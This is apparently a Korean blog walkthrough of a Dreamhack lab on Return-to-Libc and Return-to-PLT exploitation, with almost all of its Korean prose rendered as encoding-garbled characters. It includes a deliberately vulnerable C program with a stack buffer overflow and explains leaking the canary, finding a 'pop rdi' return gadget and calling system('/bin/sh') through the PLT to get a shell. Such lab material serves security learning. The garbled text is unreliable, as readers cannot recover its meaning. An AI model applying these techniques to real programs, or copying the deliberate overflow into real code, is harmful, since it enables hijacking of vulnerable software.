Jastes 2022. 6. 13. 17:55


Return To Library

NX๋กœ ์ธํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฒ„ํผ์— ์ฃผ์ž…ํ•œ ์…ธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ๋Š” ์–ด๋ ค์›Œ์กŒ์ง€๋งŒ, ์–ด์ „ํžˆ BOF๋Š” ๊ฐ€๋Šฅ!
๊ทธ๋ž˜์„œ ๊ณต๊ฒฉ์ž๋“ค์€ ์‹คํ–‰ ๊ถŒํ•œ์ด ๋‚จ์•„์žˆ๋Š” ์ฝ”๋“œ ์˜์—ญ์œผ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ๊ณ ์•ˆํ–ˆ์ฃ 

 

ํ”„๋กœ์„ธ์Šค์— ์‹คํ–‰ ๊ถŒํ•œ์ด ์žˆ๋Š” ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ฝ”๋“œ ์˜์—ญ & ์ฐธ์กฐ lib์˜ ์ฝ”๋“œ ์˜์—ญ

 

ํŠนํžˆ ๊ณต๊ฒฉ์ž๋“ค์ด ์ฃผ๋ชฉํ•œ ๊ฒƒ์€ ๋‹ค์–‘ํ•œ ํ•จ์ˆ˜๊ฐ€ ๊ตฌํ˜„๋œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ž…๋‹ˆ๋‹ค.
๋ช‡๋ช‡ lib๋Š” ๊ณต๊ฒฉ์— ์œ ์šฉํ•œ ํ•จ์ˆ˜๋“ค์ด ๊ตฌํ˜„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค
์˜ˆ๋กœ ๋ฆฌ๋ˆ…์Šค์— C๋กœ ์ž‘์„ฑ๋œ ํ”„๋กœ๊ทธ๋žจ ์ฐธ์กฐํ•œ libc์— system/execve ๋“ฑ ํ”„๋กœ์„ธ์Šค ์‹คํ–‰ ๊ด€๋ จ ํ•จ์ˆ˜๋“ค์ด ๊ตฌํ˜„๋จ

Return To Libc(Return To Library)
libc์˜ ํ•จ์ˆ˜๋“ค๋กœ libc์˜ ํ•จ์ˆ˜๋“ค NX๋ฅผ ์šฐํšŒํ•˜๊ณ  ์…ธ์„ ํš๋“ํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ๊ฐœ๋ฐœ
์ข€ ๋” ๋ฒ”์šฉ์ ์œผ๋กœ ๋‹ค๋ฅธ lib๋„ ๊ณต๊ฒฉ์— ํ™œ์šฉ๋˜๋ฉด Return To Library๋ผ ๋ถ€๋ฆ„

์œ ์‚ฌํ•œ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์œผ๋กœ Return To PLT๊ฐ€ ์žˆ๋Š”๋ฐ ์ด ๊ณต๊ฒฉ ๊ธฐ๋ฒ•๋„ lib์˜ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ํ•ต์‹ฌ์œผ๋กœ,
์ด ๋ถ€๋ถ„์€ RTL์˜ ํ•˜์œ„๋ฒ„์ „์œผ๋กœ ๋ด์•ผ๊ฒ ์ฃ  ์•„๋ž˜ ์ฝ”๋“œ๋Š” ์šฐ๋ฆฌ๊ฐ€ ๋šซ์–ด๋ฒ„๋ฆด ์ฝ”๋“œ

๋ณด๊ธฐ ํŽธํ•˜๋ผ๊ณ  ๋ฐ‘์—์„œ ํ•œ ๋ฒˆ ๋” ๋ณด๋‚ผ๊ป˜์š”

Checksec์œผ๋กœ ๊ฐ„๋‹จํ•˜๊ฒŒ ์–ด๋–ค ์ƒํƒœ์ธ์ง€ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค

NX์™€ Canary ๊ทธ๋ฆฌ๊ณ  ASLR์€ ์ตœ์‹  ๊ทธ๋ฆฌ๊ณ  ์‹ค์Šต ํ™˜๊ฒฝ์—์„  ํŠน๋ณ„ํ•œ ๋ง ์—†์œผ๋ฉด ๊ธฐ๋ณธ
์ฆ‰, 3๊ฐœ์˜ ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ๊ป์ณ์žˆ๋„ค์š”.. ํž˜๋“ค๊ฒ ์ง€๋งŒ RTL์˜ ๊ณต๊ฒฉ๊ธฐ๋ฒ•์„ ํ™œ์šฉํ•˜๋ฉด EZ(..?)



BOF์˜ ์ทจ์•ฝ์ (Canary ์šฐํšŒ๊นŒ์ง„)์€ ์ด์ „์ด๋ž‘ ์œ ์‚ฌํ•˜๋‹ˆ ๋„˜๊ธฐ๊ณ  ํ˜น์‹œ ๋ชจ๋ฅด๋ฉด ์•„๋ž˜๋กœ

 

Exploit Tech: Return to Shellcode

 

dystopia050119.tistory.com


'/bin/sh'๋ฅผ ์ฝ”๋“œ ์„น์…˜์— ์ถ”๊ฐ€

rlt.c์˜ 7๋ฒˆ์งธ ์ค„์€ '/bin/sh'๋ฅผ ์ฝ”๋“œ ์„น์…˜์— ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด ์ž‘์„ฑ๋œ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค.
ASLR์ด ์ ์šฉ๋ผ๋„ PIE๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š์œผ๋ฉด ์ฝ”๋“œ/๋ฐ์ดํ„ฐ ์„ธ๊ทธ๋จผํŠธ์˜ ์ฃผ์†Œ๋Š” ๊ณ ์ •๋˜๋ฏ€๋กœ.. ๊ณ ์ •๋˜์ฃ 
์ด ๋ฌธ์ž์—ด(์ƒ์ˆ˜?)๋Š” ๊ณต๊ฒฉ์— ๋งค์šฐ ์œ ์šฉํ•˜๊ฒŒ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๊ฒ ์ฃ 


system ํ•จ์ˆ˜๋ฅผ PLT์— ์ถ”๊ฐ€

rtl.c์˜ 16๋ฒˆ์งธ ์ค„์€ PLT์— system์„ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด ์ž‘์„ฑ๋œ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค. ์ด์ „์— ๋ฐฐ์šด ๋‚ด์šฉ์ด์ฃ ?
๊ทธ ์ค‘ PLT์—๋Š” ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๊ฐ€ resolve๋˜์ง€ ์•Š์„ ์‹œ, ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ์ฝ”๋“œ๊ฐ€ ์žˆ์–ด์š”

 

๋”ฐ๋ผ์„œ PLT์— ์–ด๋–ค lib ํ•จ์ˆ˜๊ฐ€ ๋“ฑ๋ก๋˜์–ด ์žˆ๋‹ค๋ฉด, ๊ทธ ํ•จ์ˆ˜์˜ PLT ์—”ํŠธ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•จ์œผ๋กœ์จ ์‹คํ–‰ ๊ฐ€๋Šฅ

๊ณต๊ฒฉ๊ธฐ๋ฒ• : Return PLT
ASLR์ด ๊ฑธ๋ ค ์žˆ์–ด๋„ PIE๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด PLT์˜ ์ฃผ์†Œ๋Š” ๊ณ ์ •๋˜๋ฏ€๋กœ, ๋ฌด์ž‘์œ„์˜ ์ฃผ์†Œ์— ๋งคํ•‘๋˜๋Š” lib์˜ ๋ฒ ์ด์Šค ์ฃผ์†Œ๋ฅผ ๋ชฐ๋ผ๋„ ์ด ๋ฐฉ๋ฒ•์œผ๋กœ lib ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ๋ฒ ์ด์Šค ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜์—ฌ ASLR๋ฅผ ์šฐํšŒ๋Š” ๋‚˜์ค‘์—..
์ด๋ฒˆ์—” PLT๋ฅผ ์ด์šฉํ•œ NX ์šฐํšŒ์— ๋Œ€ํ•˜์—ฌ ํ•ด๋ด…์‹œ๋‹ค.

 

ELF์˜ PLT์—๋Š” ELF๊ฐ€ ์‹คํ–‰ํ•˜๋Š” lib ํ•จ์ˆ˜๋งŒ ํฌํ•จ๋˜์–ด, ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑ system ํ•จ์ˆ˜ ์ถ”๊ฐ€ํ•ฉ์‹œ๋‹ค.

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
 
#include <stdio.h>
#include <unistd.h>
 
const char* binsh = "/bin/sh";
 
int main() {
  char buf[0x30];
 
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
 
  // Add system function to plt's entry
  system("echo 'system@plt");
 
  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
 
  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);
 
  return 0;
}

rtl.c
0.00MB

์ง์ ‘ ์ปดํŒŒ์ผํ•ด๋„ ๋˜๊ณ  ์•„๋‹˜ ์‹คํ–‰ ํŒŒ์ผ๋งŒ ๊ฐ–๊ณ  ์“ฐ์…”๋„ ์ƒ๊ด€ ์—†์–ด์š” ์–ด์งœํ”ผ dreamhack๋ฌธ์ œ๋‹ˆ..


๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ

rtl.c์˜ 18๋ฒˆ์งธ 27๋ฒˆ์€ ์ด์ „๋ถ€ํ„ฐ ๊ณ„์† ํ•œ ASLR๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•œ BOF๋ฅผ 2๋ฒˆ ๋ฐœ์ƒํ•ดํ•˜๋Š”..
์ด์ „๊นŒ์ง€ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์นด๋‚˜๋ฆฌ๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ• ๋“ฑ์„ ๋ฐฐ์› ์œผ๋‹ˆ ์—ฌ๊ธด ์„ค๋ช… ํŒจ์Šค

 

Mitigation: Stack Canary

์Šคํƒ ์นด๋‚˜๋ฆฌ(Stack Canary) ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ๋ถ€ํ„ฐ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ณดํ˜ธํ•˜๋Š” ๊ธฐ๋ฒ• ํ•จ์ˆ˜์˜ ํ”„๋กค๋กœ๊ทธ์—์„œ ์Šคํƒ ๋ฒ„ํผ์™€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์‚ฌ์ด์— ์ž„์˜์˜ ๊ฐ’์„ ์‚ฝ์ž…ํ•˜๊ณ , ํ•จ์ˆ˜์˜ ์—ํ•„๋กœ๊ทธ์—์„œ ํ•ด๋‹น ๊ฐ’์˜ ๋ณ€

dystopia050119.tistory.com

 

 

Exploit Tech: Return to Shellcode

 

dystopia050119.tistory.com


Exploit ์„ค๊ณ„


1. ์นด๋‚˜๋ฆฌ ์šฐํšŒ

์ด์ „ ์œ„์— ๋‘ ๋งํฌ์—์„œ ๋ฐฐ์šด ๋‚ด์šฉ์ด๋‹ˆ ์ฐธ๊ณ ํ•˜์‹ค๊ฑฐ๋ฉด ์œ„์— ๋งํฌ ๋”ฐ๋ผ์„œ ๊ฐ€์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.


2. rdi๊ฐ’์„ "/bin/sh"์˜ ์ฃผ์†Œ๋กœ ์„ค์ • ๋ฐ ์…ธ ํš๋“

์นด๋‚˜๋ฆฌ๋ฅผ ๊ตฌํ–ˆ์œผ๋ฉด, ์ด์ œ ๋‘ ๋ฒˆ์งธ ์ž…๋ ฅ์œผ๋กœ RET๋ฅผ ๋ฎ์„ ์ˆ˜ ์žˆ์ฃ 
๊ทธ๋Ÿฌ๋‚˜ NX๋กœ ์ธํ•ด ์ง€๋‚œ๋ฒˆ์ฒ˜๋Ÿผ ์‰ฝ๊ฒŒ๋Š” ์•ˆ๋œ๋‹ค๋Š” ์  ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ ์ ‘๊ทผํ•ด์•ผ๊ฒ ์ฃ 

 

๊ณต๊ฒฉ์„ ์œ„ํ•ด ์•Œ๊ณ  ์žˆ๋Š” ์ •๋ณด๋ฅผ ์ •๋ฆฌํ•ด๋ด…์‹œ๋‹ค

  • "/bin/sh"์˜ ์ฃผ์†Œ๋ฅผ ์•ˆ๋‹ค
  • system ํ•จ์ˆ˜์˜ PLT ์ฃผ์†Œ๋ฅผ ์•Ž → system ํ•จ์ˆ˜ ํ˜ธ์ถœ ๊ฐ€๋Šฅ

์œ„์— ๋งํฌ Return..๋ฅผ ๋ณด๋ฉด system("/bin/sh")์„ ํ˜ธ์ถœํ•˜๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
x84-64์˜ ํ˜ธ์ถœ ๊ทœ์•ฝ์— ๋”ฐ๋ฅด๋ฉด ์ด๋Š” rdi="/bin/sh" ์ฃผ์†Œ์ธ ์ƒํƒœ์—์„œ system ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ ๊ฒƒ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค

 

์ด ์˜ˆ์ œ๋Š” "/bin/sh"์˜ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ , system ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ...
"bin/sh"์˜ ์ฃผ์†Œ๋ฅผ rdi์˜ ๊ฐ’์œผ๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด system("/bin/sh")๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค
์ด๋ฅผ ์œ„ํ•ด์„  ๋ฆฌํ„ด ๊ฐ€์ ฏ์„ ํ™œ์šฉํ•ด์•ผํ•˜๊ณ ์š”


๋ฆฌํ„ด ๊ฐ€์ ฏ(Return gadget)

๋‹ค์Œ๊ณผ ๊ฐ™์ด ret๋กœ ๋๋‚˜๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ ์กฐ๊ฐ์„ ์˜๋ฏธ

์ด์ „๊นŒ์ง„ ์ฝ”๋“œ์—์„œ๋Š” ์–ด๋–ค ํ•จ์ˆ˜์˜ ์ฃผ์†Œ ๋˜๋Š” ์…ธ ์ฝ”๋“œ ์ฃผ์†Œ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์„œ ํ•œ๋ฒˆ์— ์…ธ ํš๋“!
๊ทธ๋Ÿฌ๋‚˜ NX๋กœ ์ธํ•ด ์…ธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๋Š” ์ƒํ™ฉ์—์„ , ๋‹จ ํ•œ ๋ฒˆ์˜ ํ•จ์ˆ˜ ์‹คํ–‰์œผ๋กœ ์…ธ ํš๋“์€ ์ผ๋ฐ˜์ ์œผ๋ก  ๋ถˆ๊ฐ€๋Šฅใ… 

 

๋ฆฌํ„ด ๊ฐ€์ ฏ์€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ๊ณต๊ฒฉ์˜ ์œ ์—ฐ์„ฑ์„ ๋†’์—ฌ์„œ ์ต์Šคํ”Œ๋กœ์ž‡์— ํ•„์š” ํ™˜๊ฒฝ ์กฐ๊ฑด์— ๋งŒ์กฑํ•˜๊ฒŒ ๋•์Šต๋‹ˆ๋‹ค
์˜ˆ๋กœ ์ด ์˜ˆ์ œ์—” rdi์˜ ๊ฐ’์„ "/bin/sh"์˜ ์ฃผ์†Œ๋กœ ์„ค์ •ํ•˜๊ณ , system ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค

 

๋ฆฌํ„ด ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•ด ๋ฐ˜ํ™˜ ์ฃผ์†Œ์™€ ์ดํ›„ ๋ฒ„ํผ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ฎ์œผ๋ฉด,
pop rdi๋กœ rdi๋ฅผ "/bin/sh"์˜ ์ฃผ์†Œ๋กœ ์„ค์ •ํ•˜๊ณ , ์ด์–ด์ง€๋Š” ret๋กœ system ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

๋Œ€๋ถ€๋ถ„ ํ•จ์ˆ˜๋Š” ret๋กœ ์ข…๋ฃŒ๋˜๋ฏ€๋กœ, ํ•จ์ˆ˜๋“ค๋„ ๋ฆฌํ„ด ๊ฐ€์ ฏ์œผ๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค
๋ฆฌํ„ด ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•œ ๋”์šฑ ๋ณต์žกํ•œ ๊ณต๊ฒฉ์€ ๋‚˜์ค‘์— ๊ฐ™์ด ๋ณผ๊ป˜์š”

 

์นด๋‚˜๋ฆฌ๋ฅผ ์šฐํšŒํ•˜๊ณ , system("/bin/sh")๋ฅผ ํ˜ธ์ถœํ•  ๊ณ„ํš์„ ์„ธ์› ์œผ๋ฏ€๋กœ ์ด๋ฅผ ์ฝ”๋“œ๋กœ ๊ตฌํ˜„ํ•ฉ์‹œ๋‹ค


Exploit

์นด๋‚˜๋ฆฌ ์šฐํšŒํ•˜๋Š” ๊ณผ์ •์€ ์ง€๋‚œ๋ฒˆ์— ํ–ˆ์œผ๋ฏ€๋กœ ๊ฐ„๋‹จํ•˜๊ฒŒ ์งœ๋ณด๋ฉด...

...15๋ฒˆ๋ถ€ํ„ฐ ๋ณด๋ฉด ๋˜๊ฒ ๋„ค์š” ์œ„์—๋Š” ๊ธฐ๋ณธ์ ์ธ ์„ค์ • ํ˜น์€ ์ทจํ–ฅ์ฐจ์ด๋‹ˆ๊นŒ์š”
๊ทธ ์ „์— ์ฝ”๋“œ๋Š” buf๊ฐ€ 0x30์ธ๋ฐ ์™œ 0x39๋ฅผ ํ–ˆ์„๊นŒ..? ์˜๊ตฌ์‹ฌ์ด ๋‹์ฃ ?

๊ทผ๋ฐ ํ™•์ธํ•ด๋ณด๋ฉด rsp๋Š” 0x40์œผ๋กœ ์žกํ˜€์žˆ๋‹จ ๋ง์ด์ฃ .. ๊ทธ ์ด์œ ๋ฅผ ์•Œ์•„๋ณด์ž๋ฉด ๋จผ์ € buf๊ฐ€ 0x30์ด๋ฉฐ,
Canary๋Š” ์ง€๊ธˆ ์•„ํ‚คํ…์ฒ˜๊ฐ€ x64์ด๊ธฐ์— 8byte๊ฐ€ ํ• ๋‹น๋˜์–ด ์žˆ์ฃ .. ์ž ๊ทผ๋ฐ ๊ทธ ์ „์— stack alignment์— ์˜ํ•ด
ํ˜„์ œ 16์”ฉ patch๋œ๋‹ค๊ณ  ๊ทธ ์ „์—๋„ ๊ทธ๋žฌ์ฃ  ๊ทธ๋Ÿฌ๋ฏ€๋กœ 0x30 + 0x8(Canary)๋ฅผ ํ•˜๋ฉด 16์”ฉ ์•ˆ๋˜์ฃ  

 

๊ทธ๋ž˜์„œ 8byte๋ฅผ ์ถ”๊ฐ€ํ•œ๊ฑฐ์˜ˆ์š” ๊ทธ๋Ÿฐ๋ฐ ๋ฌธ์ž์—ด์€ ๋์— null byte๋กœ ๊ตฌ๋ถ„ ๋˜ํ•œ ์นด๋‚˜๋ฆฌ๋Š” ์•ต๊ฐ„ํ•˜๋ฉด
'\x00'์œผ๋กœ ์‹œ์ž‘ํ•˜๋ฏ€๋กœ +1byte๋ฅผ ์ถ”๊ฐ€ํ•ด ๋ฒ„ํผ๋ฅผ ์ฑ„์›Œ BOF.. ์‚ฌ์‹ค 0x30๋งŒ ์ดˆ๊ณผํ•ด๋„ ๋˜์ง€๋งŒ
์šฐ๋ฆฐ Leak Canary๊ฐ’์„ ๊ตฌํ•˜๋Š” ๊ฑฐ๋‹ˆ๊นŒ ๋งž์ถฐ์„œ ํ•ด์•ผ๊ฒ ์ฃ ? ๊ทธ๋ž˜์„œ buf์™€ sfp์˜ offset์„ ๊ตฌํ•ด๋ด์•ผํ•ด์š”

 

์•„.. ๊ทธ๋ฆฌ๊ณ  ๊ทธ ์ „์—” unpackingํ•ด๋„ ์ƒ๊ด€ ์—†์—ˆ๋Š”๋ฐ ์—ฌ๊ธฐ์„  ํ•ด์•ผ ์˜ค๋ฅ˜๊ฐ€ ์•ˆ๋‚˜๋”๊ตฐ์š”..
๊ทธ๋Ÿฌ์‹œ๋ฉด ์ด๋Ÿด ์ˆ˜ ์žˆ์–ด์š” ๋ญ์•ผ Dreamhack์ด ์ œ์‹œํ•œ๊ฑฐ๋ž‘ ๋˜‘๊ฐ™๋„ค.. ์ด๋Ÿฌ์‹œ๋ฉด ๋„ค.. ์ฐธ๊ณ  ๋งŽ์ด ํ–ˆ์–ด์š”

 

ํ•˜์ง€๋งŒ ์ œ๊ฐ€ ์ž˜๋ชป ์ดํ•ดํ–ˆ๊ฑฐ๋‚˜ ํ›„์— ์•Œ์•„๋„ ์ˆ˜์ •ํ•˜๊ธฐ ๊ท€์ฐฎ์•„์„œ ์•ˆ ํ• ๋•Œ๋ฅผ ๋Œ€๋น„ํ•ด.. ๋งํฌ ํžˆํžˆ

 

buf์˜ ํฌ๊ธฐ๊ฐ€ 0x30์ธ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ์— buf๊ณต๊ฐ„์„ ์ฑ„์šธ๋•Œ 0x38๋งŒํผ ์ฑ„์šฐ๋Š” ์ด์œ ๊ฐ€ ๊ถ๊ธˆํ•ฉ๋‹ˆ๋‹ค.

์ตœ์ข… ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด buf๊ณต๊ฐ„์„ ์ฑ„์šฐ๊ธฐ ์œ„ํ•ด b'A'๊ฐ™์€ ๋ฌธ์ž๋ฅผ 0x38๊ฐœ ๋งŒํผ ๋„ฃ์Šต๋‹ˆ๋‹ค. ๊ทผ๋ฐ ์†Œ์Šค์ฝ”๋“œ์— ์žˆ๋Š” buf์˜ ํฌ๊ธฐ๋Š” ๋ถ„๋ช… 0x30์ธ๋ฐ ๋ง์ด์ฃ . ๋ถ„๋ช… ์˜ˆ์ „์— ์ด…

dreamhack.io


๋ฆฌํ„ด ๊ฐ€์ ฏ ์ฐพ๊ธฐ

๋ฆฌํ„ด ๊ฐ€์ ฏ์„ ์ฐพ๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์–‘ํ•˜์ง€๋งŒ, ์ผ๋ฐ˜์ ์œผ๋กœ ROPgadget์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
pypi๋ฅผ ์ด์šฉํ•ด.. ์ฆ‰, ํŒŒ์ด์ฌ ๋ชจ๋“ˆ์ด์ฃ 

์ด์™•ํ•˜๋Š” ๊ฒธ pip ์—…๋ฐ์ดํŠธ๋„ ๊ฐ™์ด ํ•ด์ฃผ์„ธ์š” ๋ญ Warning์ด๊ฑด ๋ฌด์‹œํ•˜์…”๋„ ๋ณ„ ๋ฌธ์ œ ์—†์–ด๋ณด์ด๊ณ ์š”
๋‹ค์Œ ๋ช…๋ น์–ด๋กœ ์ž˜ ์„ค์น˜ ํ–ˆ๋Š”์ง€๋„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ ๋ช…๋ น์–ด๋กœ ํ•„์š”ํ•œ ๊ฐ€์ ฏ๋„ ์ฐพ๊ณ , ์Œ.. ํ•„์š”ํ•œ ๊ฒŒ ret(system)/rdi("/bin/sh")๊ฒ ์ฃ ?
--re ์˜ต์…˜์„ ์‚ฌ์šฉํ•˜๋ฉด ์ •๊ทœํ‘œํ˜„์‹์œผ๋กœ ๊ฐ€์ ฏ ํ•„ํ„ฐ๋ง ๊ฐ€๋Šฅ(์ถ”์ฒœ.. ๋„ˆ๋ฌด ๋งŽ์œผ๋‹ˆ๊นŒ)

์—ฌ๊ธฐ์„œ ๋˜ ์˜๋ฌธ์ด ๋“ค ์ˆ˜ ์žˆ์–ด์š”
"์•„๋‹ˆ ์ € 0x400285๊ฐ€ system ํ•จ์ˆ˜ ret์ธ์ง€ ์–ด๋–ป๊ฒŒ ์•„๋ƒ!!"๋ผ๊ณ ์š”

 

๊ฐ„๋‹จํ•˜์ฃ  ์ €๊ฑฐ ๋ณด์‹œ๋ฉด ๋‹ค ์™ธ๋ถ€ ์ฐธ์กฐํ˜•์‹์ด๋‹ˆ๊นŒ ์ €๊ฑฐ ๋ฐ–์— ์—†์„๊ฑฐ์˜ˆ์š”
์•„๊นŒ ํ•จ์ˆ˜๋„ ์ข…๊ฒฐ ๊ฑฐ์˜ ๋‹ค ์ €๊ฑธ๋กœ ํ•œ๋‹ค๊ณ  ํ–ˆ์œผ๋‹ˆ๊นŒ ์ €๋ ‡๊ฒŒ ๋ ˆ์ง€์Šคํ„ฐ ๋ผ๊ณ  ์˜ค๋Š”๊ฑฐ ๋นผ๋ฉด.. ใ…‡

 

๋˜ ๋ญ.. ์™œ ret๋ฅผ ๊ตฌํ•ด์•ผ ํ•˜๋‚˜? ๋ผ๊ณ  ์ƒ๊ฐ์ด ๋“ ๋‹ค๋ฉด

 

์ด ์ต์Šคํ”Œ๋กœ์ž‡์—์„œ ๊ฐ€์ ฏ ์œ„์— ์ถ”๊ฐ€๋œ ret ๊ฐ€ ๊ถ๊ธˆํ•ฉ๋‹ˆ๋‹ค.

22๋ฒˆ ์ค„๊ณผ 25๋ฒˆ ์ค„ ์ฝ”๋“œ์™€ ํ•จ๊ป˜ # align stack to prevent errors caused by movaps๋ผ๋Š” ์ฃผ์„์ด ํ‘œ์‹œ๋˜์—ˆ๋Š”๋ฐ, ์™œ ์ด ์ฝ”๋“œ๊ฐ€ ์‚ฌ์šฉ๋˜๋Š” ์ด์œ ๋ฅผ…

dreamhack.io

์•„๋ก€ ๋งํฌ๋Š” ์ƒ์„ธํ•˜๊ฒŒ pwndbg๋ฅผ ํ™œ์šฉํ•ด ๋“ค์–ด๊ฐ€๋Š” ๋ถ€๋ถ„์ธ๋ฐ.. ์Œ.. ์ „ ์—ฌ๊ธฐ๊นŒ์ง„
ํ•˜๋Š” ๊ฑด ํž˜๋“ค๊ธฐ์— ๊ฐ™์ด ๋ด…์‹œ๋‹ค ใ…Ž

 

ret2libc - x64 && (MOVAPS issue ์‚ฝ์งˆ)

ret2libc-x64 RTL(return-to-libc) RTL์ด๋ž€ Return address ์˜์—ญ์— ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ๋ณ€๊ฒฝํ•ด, ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฐฉ์‹ NX-Bit(DEP) ์šฐํšŒ ๊ฐ€๋Šฅ Calling Convention System V AMD64 ABI Solaris, Li..

c0wb3ll.tistory.com


์ต์Šคํ”Œ๋กœ์ž‡

์•ž์—์„œ ๋งํ–ˆ๋“œ์‹œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ฐ€์ ฏ์„ ๊ตฌ์„ฑํ•˜๋ฉด system("/bin/sh")๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์ฃ 

"/bin/sh"์˜ ์ฃผ์†Œ๋ฅผ ๋‹ค์Œ pwndbg์˜ ๋ช…๋ น์–ด๋กœ๋„ ์ฐพ์„ ์ˆ˜ ์žˆ์–ด์š”

system ํ•จ์ˆ˜์˜ PLT์˜ ์ฃผ์†Œ๋ฅผ pwndbg๋‚˜ pwntools์— ๋Œ€ํ•˜์—ฌ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๋Š” pwntools๋กœ ์•Œ์•„๋ด…์‹œ๋‹ค. ์ž์„ธํ•œ๊ฑด ์ด์ „์— ์ •๋ฆฌํ•œ ์ž๋ฃŒ ์—ฌ๊ธฐ๋กœ


๊ฐ€์ ฏ์œผ๋กœ ๊ตฌ์„ฑ๋œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž‘์„ฑํ•˜๊ณ , ์ด ํŽ˜์ด๋กœ๋“œ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์œผ๋ฉด ์…ธ์„ ํš๋“ ๊ฐ€๋Šฅ

 

๊ทผ๋ฐ ํ•œ๊ฐ€์ง€ ์ฃผ์˜ํ•  ์ ์€ system ํ•จ์ˆ˜๋กœ rip๊ฐ€ ์ด๋™ํ•  ๋•Œ, ์Šคํƒ์€ ๋ฐ˜๋“œ์‹œ 0x10๋‹จ์œ„๋กœ ์ •๋ ฌ..ํ•ด์•ผํ•œ๋‹ค
